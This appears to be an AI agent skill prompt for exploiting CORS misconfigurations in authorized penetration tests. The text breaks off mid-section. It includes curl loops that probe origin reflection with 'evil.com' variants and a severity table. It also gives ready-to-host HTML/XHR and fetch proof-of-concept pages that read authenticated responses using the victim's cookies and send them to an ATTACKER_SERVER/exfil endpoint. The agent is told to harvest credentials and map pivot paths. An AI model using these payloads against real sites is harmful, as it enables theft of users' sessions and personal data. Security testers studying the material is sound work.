/cors-misconfiguration

name: cors-misconfiguration
description: >
  Exploit CORS (Cross-Origin Resource Sharing) misconfigurations during
  authorized penetration testing.
keywords:
  - cors
  - cors misconfiguration
  - cors bypass
  - cross-origin
  - origin reflection
  - null origin
  - access control allow origin
  - cors wildcard
  - cors credentials
  - cross-origin data theft
  - cors exploitation
  - sop bypass
tools:
  - burpsuite
  - curl
  - corsy
  - CORScanner
opsec: low

CORS Misconfiguration

You are helping a penetration tester exploit Cross-Origin Resource Sharing misconfigurations. The target application sets CORS headers that allow unauthorized origins to read cross-origin responses, potentially enabling credential theft, session hijacking, and sensitive data exfiltration. The goal is to demonstrate that an attacker-controlled origin can read authenticated responses from the target. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[cors-misconfiguration] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Target endpoint that returns data you want to steal cross-origin

(user profile, API keys, session info, PII)

• The endpoint must use cookie-based or automatic authentication

(CORS credential theft doesn't work with manual `Authorization` headers added by JavaScript — those require the attacker's JS to already have the token)

• A domain you control for hosting PoC pages (or use Burp Collaborator)

Step 1: Assess

Test the target's CORS configuration by sending requests with various Origin headers. The critical combination is `Access-Control-Allow-Origin` set to an attacker-controllable value **plus** `Access-Control-Allow-Credentials: true`.

Quick Detection

# Test with an arbitrary attacker origin
curl -sI -H "Origin: https://evil.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

# Test with null origin
curl -sI -H "Origin: null" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

# Test with a subdomain variant
curl -sI -H "Origin: https://sub.TARGET" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Systematic Header Analysis

# Full CORS header scan across multiple origin patterns
ORIGINS=(
  "https://evil.com"
  "null"
  "https://TARGET.evil.com"
  "https://evil.TARGET"
  "https://TARGETevil.com"
  "https://evil-TARGET"
  "https://sub.TARGET"
  "https://TARGET_evil.com"
  "https://TARGET%60evil.com"
)

for origin in "${ORIGINS[@]}"; do
  echo "=== Origin: $origin ==="
  curl -sI -H "Origin: $origin" \
    -H "Cookie: session=VALID_SESSION" \
    "https://TARGET/api/sensitive" 2>/dev/null | \
    grep -i "access-control"
  echo
done

What to Look For

| Response Headers | Severity | Exploitable? | |-----------------|----------|-------------| | `ACAO: https://evil.com` + `ACAC: true` | **Critical** | Yes — full credential theft | | `ACAO: null` + `ACAC: true` | **High** | Yes — via sandboxed iframe | | `ACAO: *` (no credentials) | **Medium** | Only if endpoint has sensitive data without auth | | `ACAO: *` + `ACAC: true` | **Invalid** | Browsers reject this combination | | `ACAO: https://sub.TARGET` + `ACAC: true` | **Medium** | Requires XSS on trusted subdomain | | No CORS headers | **None** | Not exploitable via CORS |

ACAO = `Access-Control-Allow-Origin`, ACAC = `Access-Control-Allow-Credentials`

Step 2: Origin Reflection

The most common and critical misconfiguration — the server reflects the `Origin` header directly into `Access-Control-Allow-Origin`.

Confirm

curl -sI -H "Origin: https://attacker-controlled.com" \
  -H "Cookie: session=VALID_SESSION" \
  "https://TARGET/api/user/profile"

# Vulnerable if response includes:
# Access-Control-Allow-Origin: https://attacker-controlled.com
# Access-Control-Allow-Credentials: true

Exploit — Data Exfiltration PoC

Host this on your attacker-controlled domain:

<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC — Origin Reflection</h1>
<div id="result"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
  // Display stolen data
  document.getElementById('result').innerText = this.responseText;

  // Exfiltrate to attacker server
  fetch('https://ATTACKER_SERVER/exfil', {
    method: 'POST',
    body: this.responseText
  });
};
xhr.open('GET', 'https://TARGET/api/user/profile', true);
xhr.withCredentials = true;  // Send victim's cookies
xhr.send();
</script>
</body>
</html>

Exploit — Fetch API Variant

fetch('https://TARGET/api/user/profile', {
  credentials: 'include'
})
.then(r => r.text())
.then(data => {
  // Exfiltrate
  navigator.sendBeacon('https://ATTACKER_SERVER/exfil', data);
});

Step 3: Null Origin

The application whitelists `null` as a trusted origin. The `null` origin is sent by sandboxed iframes, `data:` URIs, and local file access.

Confirm

curl -sI -H "Origin: null" \
  -H "Cookie: session=VALID_SESSION" \
  "https://TARGET/api/user/profile"

# Vulnerable if response includes:
# Access-